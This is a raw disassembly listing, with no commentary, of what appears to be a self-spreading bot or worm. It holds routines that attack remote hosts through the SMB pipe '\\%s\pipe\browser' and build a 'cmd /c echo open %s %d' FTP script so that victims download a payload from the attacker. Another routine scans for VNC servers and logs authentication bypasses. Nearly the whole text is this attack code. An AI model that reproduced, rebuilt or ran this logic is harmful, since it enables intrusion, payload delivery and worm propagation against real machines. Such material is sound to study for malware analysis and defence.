		db 0B8h	; ¸
		db 0DCh	; Ü
		db  60h	; `
		db    0
		db    0
		db 0E8h	; è
		db  77h	; w
		db 0E1h	; á
		db    0
		db    0
		db  53h	; S
		db  56h	; V
		db  57h	; W
		db  68h	; h
		db 0B4h	; ´
		db 0DBh	; Û
		db  42h	; B
		db    0
		db 0FFh
		db  75h	; u
		db    8
		db 0E8h	; è
		db 0A7h	; §
		db 0F7h	; ÷
		db    0
		db    0
		db  59h	; Y
		db  33h	; 3
		db 0DBh	; Û
		db  85h	; …
		db 0C0h	; À
		db  59h	; Y
		db  74h	; t
		db  4Eh	; N
		db 0FFh
		db  75h	; u
		db    8
		db 0BEh	; ¾
		db    0
		db  20h
		db    0
		db    0
		db  8Dh	; 
		db  85h	; …
		db  24h	; $
		db 0DFh	; ß
		db 0FFh
		db 0FFh
		db  68h	; h
		db  3Ch	; <
		db  29h	; )
		db  43h	; C
		db    0
		db  56h	; V
		db  50h	; P
		db 0E8h	; è
		db 0A5h	; ¥
		db 0DFh	; ß
		db    0
		db    0
		db  6Ah	; j
		db  20h
		db  8Dh	; 
		db  85h	; …
		db  24h	; $
		db 0FFh
		db 0FFh
		db 0FFh
		db  53h	; S
		db  50h	; P
		db 0E8h	; è
		db 0A6h	; ¦
		db 0DBh	; Û
		db    0
		db    0
		db  8Dh	; 
		db  85h	; …
		db  24h	; $
		db 0DFh	; ß
		db 0FFh
		db 0FFh
		db  83h	; ƒ
		db 0C4h	; Ä
		db  1Ch
		db  89h	; ‰
		db  85h	; …
		db  38h	; 8
		db 0FFh
		db 0FFh
		db 0FFh
		db 0B8h	; ¸
		db    8
		db 0D8h	; Ø
		db  43h	; C
		db    0
		db  53h	; S
		db  50h	; P
		db  50h	; P
		db  8Dh	; 
		db  85h	; …
		db  24h	; $
		db 0FFh
		db 0FFh
		db 0FFh
		db  50h	; P
		db 0E8h	; è
		db  43h	; C
		db  8Dh	; 
		db    1
		db    0
; ---------------------------------------------------------------------------
		jmp	short loc_40DA14
; ---------------------------------------------------------------------------
		db 0BEh	; ¾
		db    0
		db  20h
		db    0
		db    0
; ---------------------------------------------------------------------------


loc_40DA14:				; CODE XREF: ___:0040DA0Dj
		push	dword ptr [ebp+8]
		lea	eax, [ebp-40DCh]
		push	offset aSPipeBrowser ; "\\\\%s\\pipe\\browser"
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp-40DCh]
		push	ebx
		push	40000000h
		push	3
		push	ebx
		push	3
		push	0C0000000h
		push	eax
		nop
		call	near ptr 2710A6Ah
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-4], eax
		jnz	short loc_40DA58


loc_40DA51:				; CODE XREF: ___:0040DB30j
					; ___:0040DD06j ...
		xor	al, al
		jmp	loc_40DE9C
; ---------------------------------------------------------------------------


loc_40DA58:				; CODE XREF: ___:0040DA4Fj
		push	48h
		lea	eax, [ebp-0B8h]
		push	ebx
		push	eax
		call	sub_41B590
		push	10h
		mov	byte ptr [ebp-0B8h], 5
		pop	eax
		mov	[ebp-0B7h], bl
		push	1
		mov	[ebp-0B4h], eax
		pop	edi
		mov	byte ptr [ebp-0B6h], 0Bh
		push	eax
		lea	eax, [ebp-98h]
		push	offset dword_432914
		push	eax
		mov	byte ptr [ebp-0B5h], 3
		mov	word ptr [ebp-0B0h], 48h
		mov	[ebp-0AEh], bx
		mov	[ebp-0ACh], ebx
		mov	word ptr [ebp-0A8h], 10B8h
		mov	word ptr [ebp-0A6h], 10B8h
		mov	[ebp-0A4h], ebx
		mov	[ebp-0A0h], edi
		mov	[ebp-9Ch], bx
		mov	byte ptr [ebp-9Ah], 1
		call	sub_41C310
		push	10h
		lea	eax, [ebp-84h]
		push	offset dword_432900
		push	eax
		mov	dword ptr [ebp-88h], 3
		call	sub_41C310
		add	esp, 24h
		lea	eax, [ebp-0BCh]
		mov	dword ptr [ebp-74h], 2
		push	ebx
		push	eax
		lea	eax, [ebp-0B8h]
		push	48h
		push	eax
		push	dword ptr [ebp-4]
		nop
		call	near ptr 2700649h
		test	eax, eax
		jnz	short loc_40DB35


loc_40DB27:				; CODE XREF: ___:0040DC01j
		push	dword ptr [ebp-4]
		nop
		call	near ptr 2680920h
		jmp	loc_40DA51
; ---------------------------------------------------------------------------


loc_40DB35:				; CODE XREF: ___:0040DB25j
		lea	eax, [ebp-14h]
		push	ebx
		push	eax
		lea	eax, [ebp-60DCh]
		push	esi
		push	eax
		push	dword ptr [ebp-4]
		nop
		call	near ptr 27102B0h
		push	ebx
		call	sub_41D081
		push	eax
		call	sub_41B8D8
		push	14h
		lea	eax, [ebp-70h]
		push	41h
		push	eax
		call	sub_41B590
		push	1Ch
		lea	eax, [ebp-30h]
		push	41h
		push	eax
		call	sub_41B590
		add	esp, 20h
		call	sub_41B8E2
		mov	esi, [ebp+0Ch]
		mov	[ebp-70h], eax
		mov	[ebp-64h], edi
		mov	[ebp-68h], ebx
		lea	esi, [esi+esi*4]
		mov	[ebp-6Ch], edi
		shl	esi, 2
		mov	[ebp-60h], bx
		cmp	byte_4328A8[esi], bl
		jz	short loc_40DBAC
		push	4
		mov	[ebp-24h], edi
		mov	[ebp-28h], ebx
		mov	[ebp-2Ch], edi
		push	offset dword_4CE37C
		jmp	short loc_40DBBF
; ---------------------------------------------------------------------------


loc_40DBAC:				; CODE XREF: ___:0040DB98j
		push	2
		mov	[ebp-28h], ebx
		pop	eax
		push	4
		mov	[ebp-24h], eax
		mov	[ebp-2Ch], eax
		push	(offset	loc_4328F7+1)


loc_40DBBF:				; CODE XREF: ___:0040DBAAj
		lea	eax, [ebp-20h]
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		call	sub_41B8E2
		mov	edi, 0FAh
		cdq
		mov	ecx, edi
		idiv	ecx
		inc	edx
		mov	[ebp-30h], edx
		call	sub_41B8E2
		cdq
		idiv	edi
		mov	eax, dword_43289C[esi]
		mov	[ebp-18h], ebx
		push	eax
		mov	[ebp+8], eax
		inc	edx
		mov	[ebp-1Ch], edx
		call	sub_41B4D5
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		jz	loc_40DB27
		mov	eax, [ebp+8]
		add	eax, 0FFFFFFFEh
		push	eax
		push	90h
		push	edi
		call	sub_41B590
		mov	eax, [ebp+8]
		push	2
		push	ebx
		lea	eax, [edi+eax-2]
		push	eax
		call	sub_41B590
		mov	eax, dword_4328A4[esi]
		push	7
		add	eax, edi
		push	offset dword_432890
		push	eax
		mov	[ebp+0Ch], eax
		call	sub_41C310
		mov	eax, [ebp+0Ch]
		push	15Ch
		add	eax, 7
		push	offset dword_432730
		push	eax
		call	sub_41C310
		mov	eax, dword_4328A0[esi]
		add	esp, 30h
		cmp	byte_4328A8[esi], bl
		mov	[ebp+0Ch], eax
		jz	short loc_40DCB8
		push	4
		add	eax, edi
		push	offset dword_4CE374
		push	eax
		call	sub_41C310
		add	dword ptr [ebp+0Ch], 0Ch
		mov	esi, offset dword_4328C0
		mov	eax, [ebp+0Ch]
		push	4
		add	eax, edi
		push	esi
		push	eax
		call	sub_41C310
		mov	eax, [ebp+0Ch]
		push	4
		push	esi
		lea	eax, [eax+edi+24h]
		push	eax
		mov	[ebp+0Ch], eax
		call	sub_41C310
		mov	eax, [ebp+0Ch]
		push	4
		add	eax, 0Ch
		push	esi
		push	eax
		call	sub_41C310
		add	esp, 30h
		jmp	short loc_40DCE0
; ---------------------------------------------------------------------------


loc_40DCB8:				; CODE XREF: ___:0040DC69j
		add	eax, edi
		mov	dword ptr [ebp-8], 10h
		mov	[ebp+0Ch], eax
		mov	esi, offset dword_4328C0


loc_40DCC9:				; CODE XREF: ___:0040DCDEj
		push	4
		push	esi
		push	dword ptr [ebp+0Ch]
		call	sub_41C310
		add	dword ptr [ebp+0Ch], 4
		add	esp, 0Ch
		dec	dword ptr [ebp-8]
		jnz	short loc_40DCC9


loc_40DCE0:				; CODE XREF: ___:0040DCB6j
		mov	eax, [ebp+8]
		add	eax, 42h
		push	eax
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		mov	[ebp-8], esi
		jnz	short loc_40DD0B
		push	dword ptr [ebp-4]
		call	near ptr 2680920h
		nop
		push	edi
		call	sub_41B0B1
		pop	ecx
		jmp	loc_40DA51
; ---------------------------------------------------------------------------


loc_40DD0B:				; CODE XREF: ___:0040DCF4j
		mov	eax, [ebp+8]
		add	eax, 42h
		push	eax
		push	ebx
		push	esi
		call	sub_41B590
		lea	eax, [ebp-70h]
		push	14h
		push	eax
		push	esi
		call	sub_41C310
		mov	eax, [ebp+8]
		mov	[ebp-0Ch], ebx
		mov	[ebp-10h], eax
		add	esp, 10h
		fild	qword ptr [ebp-10h]
		fmul	flt_4276A4
		fstp	qword ptr [esp]
		call	sub_41C7BF
		call	sub_41C798
		push	dword ptr [ebp+8]
		mov	[esi+1Ch], eax
		mov	[esi+18h], ebx
		mov	eax, [esi+1Ch]
		mov	[esi+14h], eax
		lea	eax, [esi+20h]
		push	edi
		push	eax
		call	sub_41C310
		mov	eax, [ebp+8]
		add	esp, 14h
		add	eax, 20h
		test	al, 3
		mov	[ebp+0Ch], eax
		jz	short loc_40DD78


loc_40DD70:				; CODE XREF: ___:0040DD73j
		inc	eax
		test	al, 3
		jnz	short loc_40DD70
		mov	[ebp+0Ch], eax


loc_40DD78:				; CODE XREF: ___:0040DD6Ej
		lea	ecx, [ebp-30h]
		push	1Ch
		add	eax, esi
		push	ecx
		push	eax
		call	sub_41C310
		add	dword ptr [ebp+0Ch], 1Ch
		push	edi
		call	sub_41B0B1
		push	18h
		lea	eax, [ebp-48h]
		push	ebx
		push	eax
		call	sub_41B590
		push	14h
		lea	eax, [ebp-5Ch]
		push	ebx
		push	eax
		mov	byte ptr [ebp-48h], 5
		mov	[ebp-47h], bl
		mov	[ebp-46h], bl
		mov	byte ptr [ebp-45h], 3
		mov	dword ptr [ebp-44h], 10h
		mov	[ebp-3Eh], bx
		mov	[ebp-3Ch], ebx
		mov	[ebp-34h], bx
		mov	word ptr [ebp-32h], 1Fh
		call	sub_41B590
		add	esp, 28h
		push	ebx
		push	ebx
		push	1
		push	ebx
		nop
		call	near ptr 2710000h
		mov	[ebp-4Ch], eax
		mov	[ebp+0Bh], bl
		mov	[ebp-0Ch], ebx


loc_40DDE5:				; CODE XREF: ___:0040DE6Fj
		cmp	dword ptr [ebp-0Ch], 2
		jge	loc_40DE7A
		push	1
		push	10B8h
		push	dword ptr [ebp+0Ch]
		inc	dword ptr [ebp-0Ch]
		push	esi
		lea	esi, [ebp-48h]
		sub	esp, 18h
		push	6
		pop	ecx
		mov	edi, esp
		push	dword ptr [ebp-4]
		rep movsd
		call	sub_40D8AE
		add	esp, 2Ch
		test	al, al
		jz	short loc_40DE77
		cmp	[ebp-4Ch], ebx
		jz	short loc_40DE69
		lea	eax, [ebp-5Ch]
		push	eax
		lea	eax, [ebp-14h]
		push	eax
		lea	eax, [ebp-60DCh]
		push	2000h
		push	eax
		push	dword ptr [ebp-4]
		nop
		call	near ptr 27102B0h
		test	eax, eax
		jnz	short loc_40DE50
		call	near ptr 26A08EAh
		nop
		cmp	eax, 3E5h
		jnz	loc_40DA51


loc_40DE50:				; CODE XREF: ___:0040DE3Dj
		push	3E8h
		push	dword ptr [ebp-4Ch]
		nop
		call	near ptr 26B0152h
		cmp	eax, 102h
		jnz	short loc_40DE69
		mov	byte ptr [ebp+0Bh], 1


loc_40DE69:				; CODE XREF: ___:0040DE1Cj
					; ___:0040DE63j
		cmp	[ebp+0Bh], bl
		mov	esi, [ebp-8]
		jz	loc_40DDE5
		jmp	short loc_40DE7A
; ---------------------------------------------------------------------------


loc_40DE77:				; CODE XREF: ___:0040DE17j
		mov	esi, [ebp-8]


loc_40DE7A:				; CODE XREF: ___:0040DDE9j
					; ___:0040DE75j
		push	dword ptr [ebp-4]
		mov	edi, dword_427068
		call	edi
		push	esi
		call	sub_41B0B1
		cmp	[ebp-4Ch], ebx
		pop	ecx
		jz	short loc_40DE96
		push	dword ptr [ebp-4Ch]
		call	edi


loc_40DE96:				; CODE XREF: ___:0040DE8Fj
		cmp	[ebp+0Bh], bl
		setnz	al


loc_40DE9C:				; CODE XREF: ___:0040DA53j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		db  55h	; U
		db  8Bh	; ‹
		db 0ECh	; ì
		db  81h	; 
		db 0ECh	; ì
		db 0A0h	;  
		db    5
		db    0
		db    0
		db  53h	; S
		db  56h	; V
		db  57h	; W
		db  33h	; 3
		db 0F6h	; ö
		db  6Ah	; j
		db  10h
		db  8Dh	; 
		db  45h	; E
		db 0F0h	; ð
		db  56h	; V
		db  50h	; P
		db 0E8h	; è
		db 0D5h	; Õ
		db 0D6h	; Ö
		db    0
		db    0
		db  83h	; ƒ
		db 0C4h	; Ä
		db  0Ch
		db  8Dh	; 
		db  45h	; E
		db  0Ch
		db  66h	; f
		db 0C7h	; Ç
		db  45h	; E
		db 0F0h	; ð
		db    2
		db    0
		db  50h	; P
		db  90h	; 
		db 0E8h	; è
		db  2Ah	; *
		db  34h	; 4
		db  6Ah	; j
		db  71h	; q
		db 0FFh
		db 0B5h	; µ
		db 0C4h	; Ä
		db    0
		db    0
		db    0
		db  89h	; ‰
		db  45h	; E
		db 0F4h	; ô
		db 0E8h	; è
		db  6Ah	; j
		db  38h	; 8
		db  6Ah	; j
		db  71h	; q
		db  90h	; 
		db  56h	; V
		db  6Ah	; j
		db    1
		db  6Ah	; j
		db    2
		db  66h	; f
		db  89h	; ‰
		db  45h	; E
		db 0F2h	; ò
		db 0E8h	; è
		db  37h	; 7
		db  5Dh	; ]
		db  6Ah	; j
		db  71h	; q
		db  90h	; 
		db  8Bh	; ‹
		db 0D8h	; Ø
		db  83h	; ƒ
		db 0FBh	; û
		db 0FFh
		db  74h	; t
		db  7Ch	; |
		db  8Dh	; 
		db  45h	; E
		db 0F0h	; ð
		db  6Ah	; j
		db  10h
		db  50h	; P
		db  53h	; S
		db  90h	; 
		db 0E8h	; è
		db  5Dh	; ]
		db  5Fh	; _
		db  6Ah	; j
		db  71h	; q
		db  83h	; ƒ
		db 0F8h	; ø
		db 0FFh
		db  74h	; t
		db  6Ah	; j
		db 0BFh	; ¿
		db    0
		db    4
		db    0
		db    0
		db  56h	; V
		db  8Bh	; ‹
		db  35h	; 5
		db  18h
		db  72h	; r
		db  42h	; B
		db    0
		db  8Dh	; 
		db  85h	; …
		db  60h	; `
		db 0FAh	; ú
		db 0FFh
		db 0FFh
		db  57h	; W
		db  50h	; P
		db  53h	; S
		db 0FFh
		db 0D6h	; Ö
		db 0B8h	; ¸
		db  0Ch
		db  91h	; ‘
		db  42h	; B
		db    0
		db  50h	; P
		db  50h	; P
		db 0FFh
		db  35h	; 5
		db  90h	; 
		db 0B3h	; ³
		db  4Ch	; L
		db    0
		db 0FFh
		db  75h	; u
		db    8
		db 0E8h	; è
		db 0DFh	; ß
		db 0CCh	; Ì
		db 0FFh
		db 0FFh
		db  59h	; Y
		db  50h	; P
		db  68h	; h
		db  48h	; H
		db  29h	; )
		db  43h	; C
		db    0
		db  8Dh	; 
		db  85h	; …
		db  60h	; `
		db 0FEh	; þ
		db 0FFh
		db 0FFh
		db  68h	; h
		db  90h	; 
		db    1
		db    0
		db    0
		db  50h	; P
		db 0E8h	; è
		db  37h	; 7
		db 0DAh	; Ú
		db    0
		db    0
		db  83h	; ƒ
		db 0C4h	; Ä
		db  1Ch
		db  8Dh	; 
		db  85h	; …
		db  60h	; `
		db 0FEh	; þ
		db 0FFh
		db 0FFh
		db  6Ah	; j
		db    0
		db  50h	; P
		db 0E8h	; è
		db  86h	; †
		db 0D0h	; Ð
		db    0
		db    0
		db  59h	; Y
		db  50h	; P
		db  8Dh	; 
		db  85h	; …
		db  60h	; `
		db 0FEh	; þ
		db 0FFh
		db 0FFh
		db  50h	; P
		db  53h	; S
		db 0E8h	; è
		db  8Bh	; ‹
		db  3Bh	; ;
		db  6Ah	; j
		db  71h	; q
		db  90h	; 
		db  83h	; ƒ
		db 0F8h	; ø
		db 0FFh
		db  75h	; u
		db    4
		db  33h	; 3
		db 0C0h	; À
		db 0EBh	; ë
		db  17h
		db  6Ah	; j
		db    0
		db  8Dh	; 
		db  85h	; …
		db  60h	; `
		db 0FAh	; ú
		db 0FFh
		db 0FFh
		db  57h	; W
		db  50h	; P
		db  53h	; S
		db 0FFh
		db 0D6h	; Ö
		db  53h	; S
		db  90h	; 
		db 0E8h	; è
		db 0E6h	; æ
		db  3Ah	; :
		db  6Ah	; j
		db  71h	; q
		db  6Ah	; j
		db    1
		db  58h	; X
		db  5Fh	; _
		db  5Eh	; ^
		db  5Bh	; [
		db 0C9h	; É
		db 0C3h	; Ã
		db 53h
		dd 0DB335756h, 1424448Dh, 0FDE85053h, 59FFFFF9h, 7459C084h
		dd 8D656A22h, 81142474h, 0BCECh, 592F6A00h, 0A5F3FC8Bh
		dd 0FFFEE4E8h, 0C0C481FFh, 85000000h, 851575C0h, 680B75DBh
		dd 7D0h, 2F4EE890h, 83430228h, 0B87202FBh, 5F58016Ah
; ---------------------------------------------------------------------------
		pop	esi
		pop	ebx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DFE3	proc near		; CODE XREF: sub_40E0D1+91p

var_5A0		= byte ptr -5A0h
var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_BC		= dword	ptr  0C4h

		push	ebp
		mov	ebp, esp
		sub	esp, 5A0h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_10], 2
		push	eax
		nop
		call	near ptr 71AB12F8h
		push	[ebp+arg_BC]
		mov	[ebp+var_C], eax
		call	near ptr 71AB1746h
		nop
		push	esi
		push	1
		push	2
		mov	[ebp+var_E], ax
		nop
		call	near ptr 71AB3C22h
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_40E0B1
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		nop
		call	near ptr 71AB3E5Dh
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E0B1
		mov	edi, 400h
		push	esi
		mov	esi, dword_427218
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		mov	eax, offset byte_42910C
		push	eax
		push	eax
		push	dword_4CB390
		push	[ebp+arg_0]
		call	sub_40AC10
		pop	ecx
		push	eax
		push	offset aCmdCEchoOpen_0 ; "cmd /c echo open %s %d >> ii &echo user"...
		lea	eax, [ebp+var_1A0]
		push	190h
		push	eax
		call	sub_41B980
		add	esp, 1Ch
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		nop
		call	near ptr 71AB1AF4h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E0B5


loc_40E0B1:				; CODE XREF: sub_40DFE3+50j
					; sub_40DFE3+62j
		xor	eax, eax
		jmp	short loc_40E0CC
; ---------------------------------------------------------------------------


loc_40E0B5:				; CODE XREF: sub_40DFE3+CCj
		push	0
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		push	ebx
		nop
		call	near ptr 71AB1A6Dh
		push	1
		pop	eax


loc_40E0CC:				; CODE XREF: sub_40DFE3+D0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40DFE3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E0D1	proc near		; CODE XREF: sub_40C125+1EAp
					; DATA XREF: ___:off_431B04o

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= byte ptr  8
arg_4		= byte ptr  0Ch
arg_A0		= dword	ptr  0A8h
arg_A8		= dword	ptr  0B0h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		lea	eax, [ebp+arg_4]
		push	edi
		push	eax
		mov	[ebp+var_10], 2
		call	dword_4CB694
		push	[ebp+arg_A0]
		mov	[ebp+var_C], eax
		call	dword_4CB654
		push	6
		push	1
		push	2
		mov	[ebp+var_E], ax
		call	near ptr 71AB3C22h
		nop
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40E143
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		nop
		call	near ptr 71AB3E5Dh
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E124
		push	esi
		jmp	short loc_40E13D
; ---------------------------------------------------------------------------


loc_40E124:				; CODE XREF: sub_40E0D1+4Ej
		push	0
		push	1213h
		push	offset dword_4329BC
		push	esi
		nop
		call	near ptr 71AB1AF4h
		cmp	eax, 0FFFFFFFFh
		push	esi
		jnz	short loc_40E147


loc_40E13D:				; CODE XREF: sub_40E0D1+51j
		call	near ptr 71AB1A6Dh
		nop


loc_40E143:				; CODE XREF: sub_40E0D1+3Cj
		xor	eax, eax
		jmp	short loc_40E189
; ---------------------------------------------------------------------------


loc_40E147:				; CODE XREF: sub_40E0D1+6Aj
		call	near ptr 71AB1A6Dh
		nop
		push	216Bh
		lea	esi, [ebp+arg_0]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40DFE3
		add	esp, 0C0h
		test	eax, eax
		jz	short loc_40E186
		mov	eax, [ebp+arg_A8]
		shl	eax, 6
		inc	dword_431B08[eax]
		lea	eax, dword_431B08[eax]


loc_40E186:				; CODE XREF: sub_40E0D1+9Ej
		push	1
		pop	eax


loc_40E189:				; CODE XREF: sub_40E0D1+74j
		pop	edi
		pop	esi
		leave
		retn
sub_40E0D1	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E18D	proc near		; CODE XREF: ___:0040E27Bp
					; ___:0040E2DDp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		xor	esi, esi


loc_40E195:				; CODE XREF: sub_40E18D+2Dj
		test	edi, edi
		jle	short loc_40E1C0
		mov	eax, [esp+8+arg_4]
		push	0
		add	eax, esi
		push	edi
		push	eax
		push	[esp+14h+arg_0]
		call	dword_4CB66C
		test	eax, eax
		jz	short loc_40E1BC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E1BC
		sub	edi, eax
		add	esi, eax
		jmp	short loc_40E195
; ---------------------------------------------------------------------------


loc_40E1BC:				; CODE XREF: sub_40E18D+22j
					; sub_40E18D+27j
		xor	eax, eax
		jmp	short loc_40E1C3
; ---------------------------------------------------------------------------


loc_40E1C0:				; CODE XREF: sub_40E18D+Aj
		push	1
		pop	eax


loc_40E1C3:				; CODE XREF: sub_40E18D+31j
		pop	edi
		pop	esi
		retn
sub_40E18D	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E1C6	proc near		; CODE XREF: ___:0040E2C7p
					; ___:0040E2F4p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		test	edi, edi
		jz	short loc_40E203
		xor	esi, esi
		test	edi, edi
		jle	short loc_40E1FD


loc_40E1D6:				; CODE XREF: sub_40E1C6+35j
		mov	eax, edi
		push	0
		sub	eax, esi
		push	eax
		mov	eax, [esp+10h+arg_4]
		add	eax, esi
		push	eax
		push	[esp+14h+arg_0]
		call	dword_4CB6A4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E203
		test	eax, eax
		jz	short loc_40E203
		add	esi, eax
		cmp	esi, edi
		jl	short loc_40E1D6


loc_40E1FD:				; CODE XREF: sub_40E1C6+Ej
		push	1
		pop	eax


loc_40E200:				; CODE XREF: sub_40E1C6+3Fj
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40E203:				; CODE XREF: sub_40E1C6+8j
					; sub_40E1C6+2Bj ...
		xor	eax, eax
		jmp	short loc_40E200
sub_40E1C6	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 24Ch
		push	ebx
		mov	ax, word_433C00
		push	esi
		push	edi
		push	0
		push	1
		push	2
		mov	[ebp-2], ax
		pop	esi
		push	esi
		call	dword_4CB6D4
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_40E235
		push	eax
		jmp	short loc_40E269
; ---------------------------------------------------------------------------


loc_40E235:				; CODE XREF: ___:0040E230j
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_4CB694
		push	dword ptr [ebp+0A8h]
		mov	[ebp-48h], eax
		mov	[ebp-4Ch], si
		call	dword_4CB654
		mov	[ebp-4Ah], ax
		lea	eax, [ebp-4Ch]
		push	10h
		push	eax
		push	ebx
		call	dword_4CB5FC
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E274
		push	ebx


loc_40E269:				; CODE XREF: ___:0040E233j
		call	dword_4CB6EC
		jmp	loc_40E46F
; ---------------------------------------------------------------------------


loc_40E274:				; CODE XREF: ___:0040E266j
		lea	eax, [ebp-38h]
		push	0Ch
		push	eax
		push	ebx
		call	sub_40E18D
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E468
		lea	eax, [ebp-20h]
		and	byte ptr [ebp-2Ch], 0
		push	eax
		lea	eax, [ebp-28h]
		push	eax
		lea	eax, [ebp-38h]
		push	offset aRfb03d_03d ; "RFB %03d.%03d\n"
		push	eax
		call	sub_41C645
		add	esp, 10h
		cmp	eax, esi
		jnz	loc_40E468
		cmp	dword ptr [ebp-28h], 3
		jz	short loc_40E2C0
		cmp	dword ptr [ebp-20h], 8
		jnz	loc_40E468


loc_40E2C0:				; CODE XREF: ___:0040E2B4j
		lea	eax, [ebp-38h]
		push	0Ch
		push	eax
		push	ebx
		call	sub_40E1C6
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E468
		lea	eax, [ebp-3Ch]
		push	esi
		push	eax
		push	ebx
		call	sub_40E18D
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E468
		lea	eax, [ebp-2]
		push	1
		push	eax
		push	ebx
		call	sub_40E1C6
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E468
		lea	eax, [ebp-24h]
		push	4
		push	eax
		push	ebx
		call	sub_40E18D
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E468
		mov	eax, [ebp-24h]
		mov	edi, 0FF0000h
		mov	ecx, eax
		mov	edx, eax
		and	ecx, edi
		mov	esi, 0FF00h
		shr	edx, 10h
		or	ecx, edx
		mov	edx, eax
		shl	edx, 10h
		and	eax, esi
		or	edx, eax
		shr	ecx, 8
		shl	edx, 8
		or	ecx, edx
		mov	[ebp-24h], ecx
		jnz	loc_40E468
		push	1
		push	offset dword_4CB50C
		push	ebx
		call	sub_40E1C6
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E468
		lea	eax, [ebp-1Ch]
		push	18h
		push	eax
		push	ebx
		call	sub_40E18D
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E468
		xor	eax, eax
		mov	ecx, [ebp-8]
		mov	al, [ebp-1Bh]
		mov	edx, ecx
		mov	ah, [ebp-1Ch]
		mov	[ebp-1Ch], ax
		xor	eax, eax
		mov	al, [ebp-19h]
		mov	ah, [ebp-1Ah]
		mov	[ebp-1Ah], ax
		xor	eax, eax
		mov	al, [ebp-13h]
		mov	ah, [ebp-14h]
		mov	[ebp-14h], ax
		xor	eax, eax
		mov	al, [ebp-11h]
		mov	ah, [ebp-12h]
		mov	[ebp-12h], ax
		xor	eax, eax
		mov	al, [ebp-0Fh]
		mov	ah, [ebp-10h]
		mov	[ebp-10h], ax
		mov	eax, ecx
		and	eax, edi
		shr	edx, 10h
		or	eax, edx
		mov	edx, ecx
		shl	edx, 10h
		and	ecx, esi
		or	edx, ecx
		shr	eax, 8
		shl	edx, 8
		or	eax, edx
		mov	[ebp-8], eax
		add	eax, 2
		push	eax
		call	sub_41CFC5
		mov	edi, [ebp-8]
		pop	ecx
		test	edi, edi
		mov	esi, eax
		jle	short loc_40E3F8
		push	edi
		push	esi
		push	ebx
		call	sub_40E18D
		add	esp, 0Ch


loc_40E3F8:				; CODE XREF: ___:0040E3EBj
		and	byte ptr [edi+esi], 0
		lea	eax, [ebp+0Ch]
		push	eax
		push	esi
		push	dword ptr [ebp-20h]
		lea	eax, [ebp-24Ch]
		push	dword ptr [ebp-28h]
		push	offset aVncD_DSSAuthby ; "VNC%d.%d %s: %s - [AuthBypass]"
		push	200h
		push	eax
		call	sub_41B980
		push	0
		lea	eax, [ebp-24Ch]
		push	dword ptr [ebp+0B8h]
		push	eax
		lea	eax, [ebp+1Ch]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_409A73
		lea	eax, [ebp-24Ch]
		push	eax
		call	sub_4151AD
		mov	eax, [ebp+0B0h]
		add	esp, 34h
		shl	eax, 6
		inc	dword_431B08[eax]
		push	ebx
		lea	eax, dword_431B08[eax]
		call	near ptr 71AB1A6Dh
		nop
		push	1
		pop	eax
		jmp	short loc_40E471
; ---------------------------------------------------------------------------


loc_40E468:				; CODE XREF: ___:0040E285j
					; ___:0040E2AAj ...
		push	ebx
		call	near ptr 71AB1A6Dh
		nop


loc_40E46F:				; CODE XREF: ___:0040E26Fj
		xor	eax, eax


loc_40E471:				; CODE XREF: ___:0040E466j
		pop	edi
		pop	esi
		pop	ebx
